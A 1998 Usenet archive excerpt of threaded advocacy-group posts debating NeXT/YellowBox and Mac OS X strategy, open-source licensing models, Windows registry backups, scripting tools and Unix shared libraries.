Message-ID: <SCOTT.98Dec21091016@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<757gfs$5td@news1.panix.com> <758kft$po6$2@nnrp03.primenet.com>
<SCOTT.98Dec16115145@slave.doubleu.com>
<75aps6$csu$1@bartlet.df.lth.se>
<joe.ragosta-1712980910140001@elk85.dol.net>
<SCOTT.98Dec18102425@slave.doubleu.com>
<75grbp$sa0$1@nnrp02.primenet.com>
In-reply-to: John Jensen's message of 19 Dec 1998 18:30:17 GMT
Date: 21 Dec 98 09:10:16
NNTP-Posting-Date: Mon, 21 Dec 1998 09:19:45 PDT
In article <75grbp$sa0$1@nnrp02.primenet.com>,
John Jensen <jjens@primenet.com> writes:
Scott Hess <scott@nospam.doubleu.com> wrote:
: Someone has mentioned fat (multi-architecture) binaries, but that
: could be trivially added to something like ELF in the same way as
: NeXT added it to Mach-O. [Specifically, the hard part is
: converting everyone to the new kernels that can execute the new
: format - it's not making a format that does the job.]
I'd rather have this handled at the package-management level. The
distribution package should contain all binaries ... but the live
installation should contain only what you need.
Install your software on a server, then NFS mount it to an Intel
machine and a PPC machine, both running MacOS X Server. Now how do
you want it handled?
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec21090828@slave.doubleu.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
<SCOTT.98Dec11174346@slave.doubleu.com>
<qcDd2.4402$f97.3735@news.rdc1.sdca.home.com>
<367705A9.2E8E1132@nstar.net> <SCOTT.98Dec16112323@slave.doubleu.com>
<Y4ee2.75$u04.92@news.rdc1.sdca.home.com>
<SCOTT.98Dec18100942@slave.doubleu.com>
<Colf2.2066$gH5.785@news.rdc1.sdca.home.com>
In-reply-to: rr6013@yahoo.com's message of Mon, 21 Dec 1998 05:54:42 GMT
Date: 21 Dec 98 09:08:28
NNTP-Posting-Date: Mon, 21 Dec 1998 09:19:44 PDT
In article <Colf2.2066$gH5.785@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) writes:
I get into this argument with the art crowd over copying all the
time... Learning by example is a primary method to knowledge in
computer science?
It's one of the primary methods to knowledge. Perhaps 5% of what I
know I can attribute to seeing it done elsewhere - but that 5% is
keystone knowledge, because it lets me use the other 95% in
interesting ways.
I offer that premise to question why the attachment to your
original work? Why not OpenLicense the OpenSource released (not
knowing what to call Opensource license, here)
There isn't "an" OpenSource license, OpenSource is a type of license.
If I read the OpenSource requirements and various OpenSource licenses
correctly, what I've described could easily be done as an OpenSource
license.
Keep in mind that I'm not currently doing freeware and wanting to
start trying to make money off it. I'm currently doing contract
programming and wanting something to help lever me away from doing it
fulltime. My own mental makeup is apparently such that I don't care
to spend all my time building software and casting it into the void
and never hearing about it again. I _like_ the idea of contributing
stuff free and clear, but I _don't_ do the work. I've reviewed the
things that appear to have motivated me to do the work in the past,
and am trying to tie those things into future work somehow. I'm not
arguing that this licensing scheme will have any global application.
> I was assuming the cashflow from the PBS campaign would motivate
> your continued development, update and distribution. If I read
> this last "finish" correctly, you simply want to Lighthouse your
> utilities in source code form on a "one-time" contribution basis?
>
> Well, yes, it would also help with continued maintenance. But, to a
> certain extent, once you've got the ball rolling with an involved
> userbase, it's not so hard to keep it moving.
Understood... the OpenSource crowd would maintain but not
distribute modified works? This leaves TimeMon et.al. in the
etherWorld of "patches" (ie. Linux, ARM, etc...)? This is an
acceptable side-effect of not letting people copy and distribute
OpenSource work?
Uh? Are you intentionally misreading what I'm writing? Anyone could
copy and distribute it, they just can't distributed a modified
version. And _I_ intend to maintain the products I release. If,
later, I decide that I'm not interested, or that there's really no
point to continued maintenance, then perhaps I'd just shift that
package to GPL or somesuch.
Could it be a two-way street? Could possibly some extremist user
contribute interesting "keystone" (ie. irreducible) patch to one
release? What then? Could you not then _discover_ new commercial
purposes for OpenSource code + patch + 1000's hours of code ==
commercial product? Nirvana or your worst nightmare...
We could also get smacked by an astroid at any time. I'm not going to
spend my time worrying about some genius coming in and modifying my
code in an amazing fashion, because a decade of experience tells me
that these genius coders have better things to do. If there were a
feature someone wanted to see, I'd expect them to send me an email and
indicate that they wanted to see that feature.
As has been pointed out a _lot_ in the OpenSource world, it's easier
to debug in parallel than to code in parallel. I'm talking about
relatively small programs that I could conceivably write and maintain
a bunch of in under 10 or 15 hours a week. Parallel development isn't
very fun on 5kline programs, it's easier to just have one developer
own the project and have others make suggestions.
The attraction of the PBS/NPR model is the value of "branded
content".
You think that's the _entire_ reason that Ken Burns does PBS
documentaries? I don't think so. You haven't accounted for why they
choose to do this branding in an environment where they can't get rich
doing it.
Does the software PBS model further the art? Or is it a case of a
model chasing interesting solutions?
It's a solution to problems that I personally have with developing
under the GPL and BSD/MIT licensing model. No more.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec21091754@slave.doubleu.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com>
<3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au>
<367a7540.41357248@news2.asan.com>
<MPG.10e7334ba3bdc70c989765@news.dircon.co.uk>
<75jvd2$qf8$1@nnrp1.dejanews.com>
In-reply-to: "Charles Swiger"'s message of Sun, 20 Dec 1998 22:57:38 GMT
Date: 21 Dec 98 09:17:54
NNTP-Posting-Date: Mon, 21 Dec 1998 09:19:45 PDT
In article <75jvd2$qf8$1@nnrp1.dejanews.com>,
"Charles Swiger" <chuck@codefab.com> writes:
If it seems reasonable to you that changing a preference in a web
browser should require the user to reboot, you should immediately
geld yourself to remove any chance that you might reproduce and
thereby propogate your defective genes.
If _I_ were writing a browser on _Windows_, I would seriously consider
asking for a reboot anytime I did anything more serious than follow a
link. And the authors of IE certainly know a lot more about Windows
than I do...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 21 Dec 1998 13:03:15 -0500
Organization: phenix@interpath.com
Message-ID: <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net>
References: <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> John Moreno wrote:
> > I know that the situations aren't exactly parallel but I've heard that
> > before with MacApp...
>
> Which is I think exactly how Apple should "sell" it. This is the
> x-platform, deep, powerful, complete framework that everyone always wanted
> MacApp to be in the first place. It's odd that when it came out people
> were basically interested in at least taking a look, but with YB it's
> largely rejected out of hand. And people say Apple has NIH!
I don't find it odd at all -- it's been there, done that, got stuck with
the bill afterwords.
It's wait and see, because until MacOSX is shipping it's just more
vaporware, YB is a totally new framework for that vaporware.
--
John Moreno
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
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<qcDd2.4402$f97.3735@news.rdc1.sdca.home.com> <367705A9.2E8E1132@nstar.net>
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<SCOTT.98Dec21090828@slave.doubleu.com>
Message-ID: <oRxf2.2247$gH5.988@news.rdc1.sdca.home.com>
Date: Mon, 21 Dec 1998 20:04:36 GMT
NNTP-Posting-Date: Mon, 21 Dec 1998 12:04:36 PDT
Organization: @Home Network
In <SCOTT.98Dec21090828@slave.doubleu.com> Scott Hess wrote:
> In article <Colf2.2066$gH5.785@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) writes:
> I get into this argument with the art crowd over copying all the
> time... Learning by example is a primary method to knowledge in
> computer science?
>
> It's one of the primary methods to knowledge. Perhaps 5% of what I
> know I can attribute to seeing it done elsewhere - but that 5% is
> keystone knowledge, because it lets me use the other 95% in
> interesting ways.
>
> I offer that premise to question why the attachment to your
> original work? Why not OpenLicense the OpenSource released (not
> knowing what to call Opensource license, here)
>
> There isn't "an" OpenSource license, OpenSource is a type of license.
> If I read the OpenSource requirements and various OpenSource licenses
> correctly, what I've described could easily be done as an OpenSource
> license.
>
Aahh, then... there are no licensure diffs between Opensource and YourSource
license.
> Keep in mind that I'm not currently doing freeware and wanting to
> start trying to make money off it. I'm currently doing contract
> programming and wanting something to help lever me away from doing it
> fulltime. My own mental makeup is apparently such that I don't care
> to spend all my time building software and casting it into the void
> and never hearing about it again. I _like_ the idea of contributing
> stuff free and clear, but I _don't_ do the work. I've reviewed the
> things that appear to have motivated me to do the work in the past,
> and am trying to tie those things into future work somehow. I'm not
> arguing that this licensing scheme will have any global application.
>
> > I was assuming the cashflow from the PBS campaign would motivate
> > your continued development, update and distribution. If I read
> > this last "finish" correctly, you simply want to Lighthouse your
> > utilities in source code form on a "one-time" contribution basis?
> >
> > Well, yes, it would also help with continued maintenance. But, to a
> > certain extent, once you've got the ball rolling with an involved
> > userbase, it's not so hard to keep it moving.
>
> Understood... the OpenSource crowd would maintain but not
> distribute modified works? This leaves TimeMon et.al. in the
> etherWorld of "patches" (ie. Linux, ARM, etc...)? This is an
> acceptable side-effect of not letting people copy and distribute
> OpenSource work?
>
> Uh? Are you intentionally misreading what I'm writing? Anyone could
> copy and distribute it, they just can't distributed a modified
> version. And _I_ intend to maintain the products I release. If,
> later, I decide that I'm not interested, or that there's really no
> point to continued maintenance, then perhaps I'd just shift that
> package to GPL or somesuch.
>
Not intentionally, the point about having a userbase maintain released works
sent me down the wrong path.
more later...
-r
From: Lars Hecking <lhecking+u$e-net@nmrc.ucc.ie>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 21 Dec 1998 19:23:47 +0000
Organization: University College Cork, Ireland
Message-ID: <i7ogox47uk.fsf@tehran.nmrc.ucc.ie>
References: <36717987.21076075@news2.asan.com> <3674c514.0@uni-wuerzburg.de> <y1uvhjephbw.fsf@acuson.com> <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de> <F41Iu1.197@campus-news-reading.utoronto.ca>
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stefan@ (Stefan Mochnacki) writes:
> To really rub it in, Sun's sendmail came broken, and I ended up installing
> the latest from sendmail.com. Linux boxes usually install with sendmail up
> and running.
That's what recommended patch sets are for. Eg. to upgrade sendmail from
SMI-8.6 to 8.8.8+Sun (2.5.x and 2.6; 2.7 comes with 8.9.1a, I believe).
But, in my opinion there is no point upgrading Sun's sendmail to the
Berkeley version for other than mail servers or firewall machines.
Message-ID: <367E8A35.50EE9565@is.email>
Date: Mon, 21 Dec 1998 10:49:41 -0700
From: eine <what@is.email>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com> <U7vf2.2619$w91.1179286@newsread1-mx.centuryinter.net>
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Gerry's News Subs wrote:
> Good luck putting the Windows registry on a floppy ... the registry files on
> my Win98 machine (system.dat and user.dat) are > 5mb!
You can compress them with a zip utility. They fit on a floppy for me.
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Mon, 21 Dec 1998 14:36:40 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77tjbo.ksl.jedi@dementia.mishnet>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <366bcc63.62862541@news.earthlink.net> <367ce5a2.19125694@news.int-usa.net> <MPG.10e74e9fef3ce35898976a@news.dircon.co.uk> <367d607c.26266616@news.int-usa.net> <36828b2a.43899213@news.dial.pipex.com> <367d90e4.5517276@news.int-usa.net> <slrn77r9ok.d7e.jedi@dementia.mishnet> <MPG.10e8b6f5f996d2d2989785@news.dircon.co.uk>
On Mon, 21 Dec 1998 21:06:17 -0000, John Murphy <jcmurphy@dircon.co.uk> wrote:
>In article <slrn77r9ok.d7e.jedi@dementia.mishnet>, jedi@dementia.mishnet
>wrote...
>
>[stuff that was completely ignored anyway]
>
>> Yeah, sure... and the fact that the system is being used
>> outside of the manufacturers specifications is irrelevant?
>> Yeah, sure...
>
>Don't wet yourself, man. /Read/.
...like that bit about having the machine overclocked?
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 21 Dec 1998 14:51:43 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77tk7v.ksl.jedi@dementia.mishnet>
References: <367522b5.2689507@news2.asan.com> <913764365snz@vision25.demon.co.uk> <MPG.10e60701fb586232989747@news.dircon.co.uk> <slrn77o9p9.64l.jedi@dementia.mishnet> <MPG.10e71b905fecb937989761@news.dircon.co.uk> <slrn77qunn.c0a.jedi@dementia.mishnet> <MPG.10e8b5be1bcd55df989784@news.dircon.co.uk>
On Mon, 21 Dec 1998 21:06:16 -0000, John Murphy <jcmurphy@dircon.co.uk> wrote:
>In article <slrn77qunn.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
>wrote...
>
>> No, this is what tcl is designed for, actually. VBA is more
>> than just a method for displaying new widgets to a user as
>> a rudimentary text would admit. Tk just happens to be the
>> gui bindings for tcl that would use for those aspects of
>> your code that are manipulating widgets.
>
>I would like to see you add a customised GUI to your email client. You
>can use Tcl, but not the Tk extension. Can you do that? It would be
>much simpler if you didn't view the world in black and white. Admitting
>that VBA is in fact a useful thing might add a bit of colour to your
>life, even if you chose not to use it.
It might be useful. However, it will still require just
a bit of programming to more than just a widget tweaker.
It's nothing new or interesting.
[deletia]
>> Yes, I've used visual scripting enviroments for Windows before.
>> It was exposure to such scripting enviroments that gave me my
>> current level of respect for bash-ish solutions and disrespect
>> for NT and it's reliability.
>
>Visual scripting environments, bash, NT and reliability all in one go.
>Do you really think that what you write makes any sense whatsoever? It's
>pure rhetoric.
No, it's just a matter of QA experience with products that
run across NT, VMS, OpenVMS, aix, digital-unix, hp/ux, sco,
irix, solaris & sunos.
>
>> While it's nice to talk about the scripting capabilities of
>> Win9x or WinNT in the abstract, no one seems able to comment
>> on them in the concrete besides regurgitating marketing
>> literature.
>
>No one apart from you, that is.
I've actually posted source from time to time.
I've never even seen a good VBA/Access URL, nevermind
a few lines of useful something or other.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
Date: Mon, 21 Dec 1998 14:53:59 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77tkc7.ksl.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com> <slrn77suf7.ihs.jedi@dementia.mishnet> <75mcla$l15$1@news.ycc.yale.edu>
On 21 Dec 1998 20:56:09 GMT, Adrian Cybriwsky <arc33@pantheon.yale.edu> wrote:
>jedi@dementia.mishnet wrote:
>: On Mon, 21 Dec 1998 16:01:48 GMT, westprog@my-dejanews.com <westprog@my-dejanews.com> wrote:
>: >In article <i1Te2.5038$2h4.7721@news7.ispnews.com>,
>
>: They never set a sensible standard to begin with. Unix
>: manages to avoid this DLL*hell situation despite having
>: a total lack of central authority.
>
>sigh.
>
>so nice to see that linux/unix is free of shared library problems.
>
>jedi: *plonk*
Comparitively speaking, it doesn't. Sticking your head
in the sand is not going to change that.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
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<qcDd2.4402$f97.3735@news.rdc1.sdca.home.com> <367705A9.2E8E1132@nstar.net>
<SCOTT.98Dec16112323@slave.doubleu.com> <Y4ee2.75$u04.92@news.rdc1.sdca.home.com>
<SCOTT.98Dec18100942@slave.doubleu.com> <Colf2.2066$gH5.785@news.rdc1.sdca.home.com>
<SCOTT.98Dec21090828@slave.doubleu.com>
Message-ID: <PaCf2.2268$gH5.988@news.rdc1.sdca.home.com>
Date: Tue, 22 Dec 1998 01:00:31 GMT
NNTP-Posting-Date: Mon, 21 Dec 1998 17:00:31 PDT
Organization: @Home Network
In <SCOTT.98Dec21090828@slave.doubleu.com> Scott Hess wrote:
> In article <Colf2.2066$gH5.785@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) writes:
[snip previously responses]
> As has been pointed out a _lot_ in the OpenSource world, it's easier
> to debug in parallel than to code in parallel. I'm talking about
> relatively small programs that I could conceivably write and maintain
> a bunch of in under 10 or 15 hours a week. Parallel development isn't
> very fun on 5kline programs, it's easier to just have one developer
> own the project and have others make suggestions.
>
That and it's no fun debugging your own code...
> The attraction of the PBS/NPR model is the value of "branded
> content".
>
> You think that's the _entire_ reason that Ken Burns does PBS
> documentaries? I don't think so. You haven't accounted for why they
> choose to do this branding in an environment where they can't get rich
> doing it.
>
>
I suspect KenBurns does documentaries as deliverables to contractual
obligations. I suspect you do applications for much the same reasons. PBS
makes millionaires like Tom and Ray Magliozzi precisely because PBS supports
forms of art and speech that commercialism otherwise ignores.
The _process_ is probably much more rewarding and socially gratifying on the
PBS side of the business .vs. commercialism. The process is a commonality I
think you're looking to enrich. That's the interesting part. That maybe
the part that interests KenBurns, too, I don't know.
I've experienced reward, interest and enrichment other ways and places.
Ownership, R&D, state-of-the-art, Politics and education have all been huge
motivators in my life at one time or another. So there's any number of
possibilities to why people do things.
> Does the software PBS model further the art? Or is it a case of a
> model chasing interesting solutions?
>
> It's a solution to problems that I personally have with developing
> under the GPL and BSD/MIT licensing model. No more.
>
>
Interesting... there are certainly numerous models out there, OpenSource
being the latest. There is room for a PBS/NPR model too. The metaphor
works in the "public" sense. It has a lot of concrete expectations
in-place. The software version is funding, mission statement and business
plan away from launch.
Do you want a broadcast distribution model for software? Contributor's,
Sponsors, syndicators, members and advertisers? Is education a core
constituency in the PBS software paradigm as well? Cross market into Retail
outlets, products and credit cards for funding sources?
What would a herd of software programmers look like under a PBS tent?
-r
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 22 Dec 1998 13:34:13 +1100
Organization: OzEmail Ltd.
Message-ID: <75n0eq$mve$1@reader1.reader.news.ozemail.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <75dg7g$5nv$1@bartlet.df.lth.se> <SCOTT.98Dec20003313@slave.doubleu.com> <75m23f$3s4$1@bartlet.df.lth.se>
Christian Brunschen wrote in message <75m23f$3s4$1@bartlet.df.lth.se>...
>By the way, I am assuming among other things that Apple are suggesting a
>new binary format not because of 'NIH syndrome', but because the current
>offerings lack functionality which Apple want/need, and which are thus
>included in Apple's proposal. Further, I am assuming that Apple are doing
>this largely in order to make possible to spread Apple's Unix-based
>technologies (those that rest on top of the core OS) onto other Unix
>platforms as well - including the spreading, deployment, of the YellowBox
>runtime system and perhaps even YellowBox development tools.
It could simply be that, or they may want to run all of the competing Unix's
binaries directly on MacOS X. This would give more apps to MOSX (of course)
and appeal to power users.
However, I think you're right - since MOSX won't need more apps with YB,
Carbon, & BlueBox (though an Intel MOSX would!). They could very likely
be planning an "Apple-Box" runtime for the Unixes - hopefully starting
with the existing code commonalities to release on a few versions, and
later moving to a single binary.
>>>assuming that Apple will be smart and
>>> a) ship the runtime for free, and
>>> b) sell the development tools for every platform where the runtime works:
>>>Apple will sell the development tools to developers who are on
>>>compliant Unices, but who might not otherwise buy any Apple products.
>>>This generates money for Apple
>>
>>Great for Apple - how does it convince the other platforms to conform
>>to their format?
It depends what the runtime would contain doesn't it?
... YB? Carbon? BlueBox? the GUI? Quicktime? AppleScript? Java? ColorSync? ...
My guess would be YB, Carbon, Quicktime. Possibly GUI, but it would need
X-windows integration.
>This doesn't - this is just to show how reasoning might go within Apple in
>order to do this. I am trying here to describe different ways in which
>different people / actors in the marketplace would gain from something
>like this. The above point describes how Apple would gain from it.
I think Carbon & Quicktime is the key to what other platforms gain. It allows
them to do more, at no cost to their existing setup. YB (+ Java extensions) would
be Apple's way of broadening the technology base for YB.
>>> the broadened deployment base will attract more developers to using
>>> YellowBox; thus more developers will want to buy the premier development
>>> system for YellowBox applications - that means even more money for Apple
It would be an interesting twist if people installed the runtime to get Carbon
and Quicktime, but the developer systems were all for YB. It would work
perfectly, but in a twisted way.... and get everyone where Apple wants
them to be.
>To an extent. However, YellowBox is going to be available on two major
>platforms (Macintosh and Windows) regardless of the decision about the
>common Unix binary file format. So it's really more of a case of getting
>on a bandwagon which is already rolling, and in that process making that
>bandwagon roll better.
>>Chicken and egg problem.
Yes, so is Carbon involved!? Quicktime is written in carbon-esque code too!
If they take the runtime because of Carbon, but development is in YB,
then it solves the problem.
>Apple <snip> are allegedly proposing a new binary format that they want to be
>standard across Unices. I _strongly suspect_ that this new binary format offers
>a technical advantage over the ones currently in use. Further, Apple are going
>through the proper standards channels.
Just wondering where this info came from? I've heard the runtime rumours
before, but not the binary rumour - which to me adds credence to the runtime.
Just thoughts
Greg
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 1998 03:23:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75n3c8$ls6@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost>
On 20 Dec 98 17:55:45 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> It is a question of opportunity costs. Sure, betting on a long shot will
>> pay big if it comes in, the question is "how often will it come in?"
>> The less cash you have, the worse it is to bet on longshots.
>Apple is far from being short of cash, it could be the opposite in
>fact.
Market realities preclude Apple spending any cash that would lower next
quarters profits. While this is odd for a company with $2billion in cash
a cap of $4.5 billions as a modest P/E of 16 and change, the last thing
Apple should want to do it blow a wad of dough on a project that has an
obvious roadblock.
>> Or the curbside on trash day. Based on my experience about 1/3 get handed
>> over to another family member, 1/3 get "serviced" and 1/3 get tosed out in
>> the trash. The older the machine, the more likely that it will hit the trash.
>That's largely because of the phenomenom quite specific to Microsoft's
>platforms called planned obsoletion combined with file format games
>aimed at keeping competition at bay. Macintoshes, OTOH, used to have
>almost too long life cycles.
>
>In any case, there will be a mountain of PC's waiting to be rescued.
If my livelihood was tied to my commercial software products, I sure as hell
would not want people to first see it running on a > 3 year old machine.
I would not consider "rescued PCs" to be a valid growth market for YB.
>> Sun has tried for a mass market desktop a few time and failed, dispite
>> having plenty of momentum in other areas.
>Sun never had the right reputation or product for consumer desktops
Sun has a sterling reputation in some circles, and despite countless efforts
to push out of the niche, they stayed there.
<<clip>>
>> >later - Apple could have a significant foothold in two of those
>> >markets instead of one which would subsequently help YB take on WIN32.
>> And how long with that take assuming that there is no saturation point
>> for Linux and growth remains at its current rate? That is the target date
>> for a Linux port.
>I'm not sure I understand your reply.
>
>I'm proposing Apple's participation in growing the Linux market and
>the sooner they can fit that objective in their overall strategy the
>better.
Linux is still at a fraction of its overall potential market. If the growth
isn't going to reach a saturation point any time soon, then where is the
rush? Keep in mind that a number of products that were second ending up being
market leaders (VHS, Dos, Unix and Windows)
>> Well, seeing that YB is mostly a development platform right now, I think you
>> should be comparing developer to developer not Linux hacker to average user.
>> (Most end users could give a rats ass about the tools used to create an App)
>That wouldn't invalidate my points though. Apple has - if they want to
>have - the goodies to help speed up the consumerization of Linux.
That isn't Apple's problem. They have to work on the consumerization of
Apple product.
<<clip, MMalc responed and I don't feel like rehashing this>>
>> >I am in no way advocating pulling resources away from Apple's core
>> >project.
>> Then I don't see any reason for this debate :)
>Good. So we both hope that Apple's been busy hiring, and devising
>their very own community source licensing scheme for those projects
>that might benefit most out there in the open? ;-)
I hope Apple has been hiring for Apple's sake, not the sake of some OpenSource
jihad. The last thing I want to hear from Steve Jobs is a rehash of that 1984
rhetoric. I refused to get involved with it when I was a mac user, I'm not
going to get involved now.
From: westprog@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
Date: Tue, 22 Dec 1998 18:48:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75opi0$nt1$1@nnrp1.dejanews.com>
